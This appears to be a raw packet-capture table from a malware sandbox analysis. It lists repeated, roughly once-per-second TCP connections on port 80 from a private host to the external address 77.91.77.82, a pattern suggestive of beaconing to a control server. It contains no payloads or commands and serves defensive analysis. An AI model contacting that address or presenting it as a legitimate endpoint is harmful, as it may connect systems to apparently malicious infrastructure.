Jul 1, 2024 07:21:27.971095085 CEST	80	49753	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:27.971259117 CEST	80	49752	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:27.971379042 CEST	49753	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:27.971411943 CEST	49752	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:27.971735954 CEST	49753	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:27.976809025 CEST	80	49753	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:28.658525944 CEST	80	49753	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:28.658700943 CEST	49753	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:28.659390926 CEST	49753	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:28.664083958 CEST	80	49753	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:28.875101089 CEST	80	49753	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:28.875183105 CEST	49753	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:28.981497049 CEST	49753	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:28.981837034 CEST	49755	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:28.986644030 CEST	80	49755	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:28.986680031 CEST	80	49753	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:28.986788988 CEST	49753	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:28.987044096 CEST	49755	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:28.987044096 CEST	49755	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:28.991782904 CEST	80	49755	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:29.691966057 CEST	80	49755	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:29.692065954 CEST	49755	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:29.692773104 CEST	49755	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:29.697799921 CEST	80	49755	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:29.913599968 CEST	80	49755	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:29.913744926 CEST	49755	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:30.028181076 CEST	49755	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:30.032716990 CEST	49756	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:30.033390045 CEST	80	49755	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:30.033452034 CEST	49755	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:30.037575960 CEST	80	49756	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:30.037659883 CEST	49756	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:30.038757086 CEST	49756	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:30.044790030 CEST	80	49756	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:30.742124081 CEST	80	49756	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:30.744543076 CEST	49756	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:30.745186090 CEST	49756	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:30.749938965 CEST	80	49756	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:30.963707924 CEST	80	49756	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:30.963790894 CEST	49756	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:31.074997902 CEST	49756	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:31.075418949 CEST	49757	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:31.080192089 CEST	80	49756	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:31.080241919 CEST	80	49757	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:31.080327034 CEST	49756	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:31.080385923 CEST	49757	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:31.080559969 CEST	49757	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:31.087353945 CEST	80	49757	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:31.806379080 CEST	80	49757	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:31.806459904 CEST	49757	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:31.807173014 CEST	49757	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:31.811943054 CEST	80	49757	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:32.034982920 CEST	80	49757	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:32.035218954 CEST	49757	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:32.137435913 CEST	49757	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:32.137768030 CEST	49758	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:32.142534018 CEST	80	49758	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:32.142604113 CEST	80	49757	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:32.142653942 CEST	49758	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:32.142683029 CEST	49757	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:32.142746925 CEST	49758	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:32.147564888 CEST	80	49758	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:32.860160112 CEST	80	49758	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:32.860409021 CEST	49758	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:32.861222982 CEST	49758	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:32.866022110 CEST	80	49758	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:33.086307049 CEST	80	49758	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:33.086385012 CEST	49758	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:33.200352907 CEST	49758	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:33.200593948 CEST	49759	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:33.206095934 CEST	80	49758	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:33.206111908 CEST	80	49759	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:33.206213951 CEST	49758	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:33.206258059 CEST	49759	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:33.206342936 CEST	49759	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:33.211050987 CEST	80	49759	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:33.936041117 CEST	80	49759	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:33.936280966 CEST	49759	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:33.936985970 CEST	49759	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:33.941741943 CEST	80	49759	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:34.165615082 CEST	80	49759	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:34.166093111 CEST	49759	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:34.278228045 CEST	49759	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:34.278551102 CEST	49760	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:34.283327103 CEST	80	49760	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:34.283411026 CEST	80	49759	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:34.283444881 CEST	49760	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:34.283463001 CEST	49759	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:34.283608913 CEST	49760	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:34.288299084 CEST	80	49760	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:34.971431017 CEST	80	49760	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:34.971515894 CEST	49760	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:34.974526882 CEST	49760	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:34.979346037 CEST	80	49760	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:35.191605091 CEST	80	49760	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:35.191699028 CEST	49760	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:35.293694973 CEST	49760	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:35.294027090 CEST	49761	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:35.298876047 CEST	80	49760	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:35.298896074 CEST	80	49761	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:35.298968077 CEST	49760	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:35.299021006 CEST	49761	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:35.299218893 CEST	49761	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:35.303930998 CEST	80	49761	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:36.013947964 CEST	80	49761	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:36.014024973 CEST	49761	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:36.014780045 CEST	49761	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:36.019520998 CEST	80	49761	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:36.236269951 CEST	80	49761	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:36.236458063 CEST	49761	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:36.340615988 CEST	49761	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:36.340843916 CEST	49762	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:36.345618963 CEST	80	49762	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:36.345724106 CEST	49762	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:36.345937967 CEST	49762	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:36.347686052 CEST	80	49761	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:36.347754955 CEST	49761	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:36.350733995 CEST	80	49762	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:37.060298920 CEST	80	49762	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:37.060393095 CEST	49762	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:37.061127901 CEST	49762	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:37.065850019 CEST	80	49762	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:37.285152912 CEST	80	49762	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:37.285270929 CEST	49762	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:37.387403011 CEST	49762	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:37.387666941 CEST	49763	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:37.392460108 CEST	80	49763	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:37.392540932 CEST	49763	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:37.392687082 CEST	49763	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:37.392780066 CEST	80	49762	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:37.392833948 CEST	49762	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:37.397403955 CEST	80	49763	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:38.103137970 CEST	80	49763	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:38.103276968 CEST	49763	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:38.104093075 CEST	49763	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:38.109082937 CEST	80	49763	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:38.327682018 CEST	80	49763	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:38.327749968 CEST	49763	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:38.434279919 CEST	49763	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:38.434604883 CEST	49764	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:38.442670107 CEST	80	49763	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:38.442776918 CEST	49763	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:38.442868948 CEST	80	49764	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:38.442949057 CEST	49764	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:38.443120003 CEST	49764	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:38.450903893 CEST	80	49764	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:39.151175976 CEST	80	49764	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:39.151401997 CEST	49764	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:39.152093887 CEST	49764	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:39.156892061 CEST	80	49764	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:39.370984077 CEST	80	49764	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:39.371144056 CEST	49764	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:39.481183052 CEST	49764	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:39.481483936 CEST	49765	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:39.486314058 CEST	80	49765	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:39.486352921 CEST	80	49764	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:39.486378908 CEST	49765	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:39.486407042 CEST	49764	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:39.487212896 CEST	49765	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:39.491971016 CEST	80	49765	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:40.211707115 CEST	80	49765	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:40.211832047 CEST	49765	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:40.212573051 CEST	49765	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:40.217600107 CEST	80	49765	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:40.438178062 CEST	80	49765	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:40.438261032 CEST	49765	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:40.546991110 CEST	49765	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:40.547322989 CEST	49766	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:40.552071095 CEST	80	49765	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:40.552084923 CEST	80	49766	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:40.552153111 CEST	49765	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:40.552185059 CEST	49766	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:40.552344084 CEST	49766	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:40.557013988 CEST	80	49766	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:41.276988983 CEST	80	49766	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:41.277084112 CEST	49766	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:41.277939081 CEST	49766	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:41.283632994 CEST	80	49766	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:41.503655910 CEST	80	49766	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:41.503732920 CEST	49766	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:41.606342077 CEST	49766	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:41.606594086 CEST	49768	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:41.611502886 CEST	80	49766	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:41.611515999 CEST	80	49768	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:41.611601114 CEST	49766	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:41.611635923 CEST	49768	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:41.611856937 CEST	49768	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:41.616580009 CEST	80	49768	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:42.302119017 CEST	80	49768	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:42.302207947 CEST	49768	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:42.304631948 CEST	49768	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:42.309412003 CEST	80	49768	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:42.521543026 CEST	80	49768	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:42.522533894 CEST	49768	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:42.653784990 CEST	49768	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:42.654124975 CEST	49769	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:42.659006119 CEST	80	49769	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:42.659077883 CEST	80	49768	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:42.659154892 CEST	49768	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:42.659279108 CEST	49769	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:42.659279108 CEST	49769	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:42.664133072 CEST	80	49769	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:43.349040985 CEST	80	49769	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:43.350529909 CEST	49769	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:43.351152897 CEST	49769	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:43.355873108 CEST	80	49769	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:43.711133957 CEST	80	49769	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:43.711257935 CEST	49769	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:43.824875116 CEST	49769	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:43.825220108 CEST	49770	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:43.829991102 CEST	80	49770	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:43.830071926 CEST	80	49769	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:43.830086946 CEST	49770	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:43.830116987 CEST	49769	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:43.830194950 CEST	49770	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:43.834980011 CEST	80	49770	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:44.545429945 CEST	80	49770	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:44.545521975 CEST	49770	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:44.546312094 CEST	49770	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:44.551058054 CEST	80	49770	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:44.770574093 CEST	80	49770	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:44.772653103 CEST	49770	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:44.887681007 CEST	49770	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:44.887901068 CEST	49771	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:44.892854929 CEST	80	49771	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:44.892967939 CEST	49771	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:44.893198967 CEST	49771	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:44.894094944 CEST	80	49770	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:44.894153118 CEST	49770	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:44.898011923 CEST	80	49771	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:45.596848011 CEST	80	49771	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:45.596921921 CEST	49771	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:45.597568035 CEST	49771	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:45.602354050 CEST	80	49771	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:45.820981979 CEST	80	49771	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:45.821166039 CEST	49771	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:45.934258938 CEST	49771	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:45.934583902 CEST	49772	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:45.942272902 CEST	80	49771	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:45.942292929 CEST	80	49772	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:45.942329884 CEST	49771	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:45.942375898 CEST	49772	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:45.942519903 CEST	49772	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:45.950838089 CEST	80	49772	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:46.623687029 CEST	80	49772	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:46.623893976 CEST	49772	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:46.624545097 CEST	49772	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:46.629354000 CEST	80	49772	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:46.839775085 CEST	80	49772	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:46.840042114 CEST	49772	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:46.950078011 CEST	49772	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:46.950329065 CEST	49773	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:46.955148935 CEST	80	49773	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:46.955182076 CEST	80	49772	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:46.955230951 CEST	49773	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:46.955281973 CEST	49772	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:46.955384016 CEST	49773	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:46.960093975 CEST	80	49773	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:47.808543921 CEST	80	49773	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:47.808707952 CEST	49773	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:47.809453011 CEST	49773	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:47.814285040 CEST	80	49773	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:48.024606943 CEST	80	49773	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:48.024852991 CEST	49773	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:48.139482021 CEST	49773	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:48.139847994 CEST	49774	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:48.144671917 CEST	80	49774	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:48.144706964 CEST	80	49773	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:48.144773960 CEST	49774	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:48.144807100 CEST	49773	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:48.144911051 CEST	49774	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:48.149739981 CEST	80	49774	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:48.836165905 CEST	80	49774	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:48.836397886 CEST	49774	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:48.841418028 CEST	49774	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:48.846211910 CEST	80	49774	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:49.057358027 CEST	80	49774	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:49.057535887 CEST	49774	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:49.168802977 CEST	49774	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:49.169039965 CEST	49775	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:49.177793026 CEST	80	49775	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:49.177815914 CEST	80	49774	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:49.177927971 CEST	49774	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:49.177942991 CEST	49775	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:49.178061008 CEST	49775	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:49.182811022 CEST	80	49775	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:49.864996910 CEST	80	49775	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:49.865132093 CEST	49775	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:49.869154930 CEST	49775	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:49.873969078 CEST	80	49775	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:50.085292101 CEST	80	49775	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:50.085522890 CEST	49775	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:50.200020075 CEST	49775	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:50.200371027 CEST	49776	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:50.205261946 CEST	80	49775	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:50.205280066 CEST	80	49776	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:50.205360889 CEST	49775	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:50.205420971 CEST	49776	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:50.205576897 CEST	49776	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:50.210477114 CEST	80	49776	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:50.890818119 CEST	80	49776	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:50.890945911 CEST	49776	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:50.891583920 CEST	49776	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:50.896354914 CEST	80	49776	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:51.106482983 CEST	80	49776	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:51.106632948 CEST	49776	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:51.215512991 CEST	49776	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:51.215900898 CEST	49777	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:51.220623970 CEST	80	49776	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:51.220736980 CEST	49776	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:51.220891953 CEST	80	49777	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:51.220963001 CEST	49777	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:51.221158981 CEST	49777	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:51.225868940 CEST	80	49777	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:51.935321093 CEST	80	49777	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:51.935470104 CEST	49777	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:51.936064005 CEST	49777	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:51.940844059 CEST	80	49777	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:52.154350996 CEST	80	49777	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:52.154422998 CEST	49777	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:52.263257027 CEST	49777	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:52.263576031 CEST	49778	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:52.270848036 CEST	80	49778	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:52.270926952 CEST	49778	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:52.271276951 CEST	80	49777	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:52.271322966 CEST	49777	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:52.276566982 CEST	49778	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:52.284660101 CEST	80	49778	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:52.955826044 CEST	80	49778	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:52.955915928 CEST	49778	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:52.956691027 CEST	49778	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:52.961494923 CEST	80	49778	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:53.174604893 CEST	80	49778	77.91.77.82	192.168.2.6
